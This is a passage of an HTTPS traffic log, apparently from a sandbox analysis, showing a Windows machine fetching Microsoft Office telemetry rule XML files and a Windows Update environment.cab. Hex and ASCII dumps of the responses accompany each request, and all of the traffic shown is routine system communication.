0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:26 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:27 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:27 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020827Z-178bfbc474bp8mkvhC1NYCzqnn00000000n000000000qu65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:27 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:26 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:27 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:27 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020827Z-178bfbc474b9xljthC1NYCtw9400000000mg00000001465q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:27 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49705	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5HFlVnLN8KF2Mzx&MD=cRFLAPcp HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 02:08:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 74096c71-b466-46db-8f99-c21fcb4f3722 MS-RequestId: de98c000-4a4a-4acb-82bb-ef57761191e9 MS-CV: xYKNTFc/5kqYqo7P.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 02:08:27 GMT Connection: close Content-Length: 24490
2024-11-21 02:08:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-21 02:08:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:28 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020829Z-1777c6cb754dqf99hC1TEB5nps0000000aa000000000aesw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:29 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 8801ae34-d01e-0065-3299-3bb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020829Z-r1d97b99577d6qrbhC1TEBux5s00000009t000000000k370 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:29 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 96177955-701e-001e-53b1-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020829Z-r1d97b99577n4dznhC1TEBc1qw00000009s000000000age3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:29 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:29 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020829Z-178bfbc474bkvpdnhC1NYCuu2w00000000t0000000013x3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:29 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:29 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:29 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:29 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 24fc30cf-301e-006e-4aba-3bf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020829Z-r1d97b99577jlrkbhC1TEBq8d000000009kg00000000cyrw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 02:08:29 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:31 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 4b39059c-501e-008c-199c-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020831Z-r1d97b99577hc74hhC1TEBvbns00000009f000000000p0v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:31 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020831Z-1777c6cb754ww792hC1TEBzqu40000000a8g00000000g2m7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:31 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020831Z-r1d97b99577656nchC1TEBk98c00000009vg000000001awt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
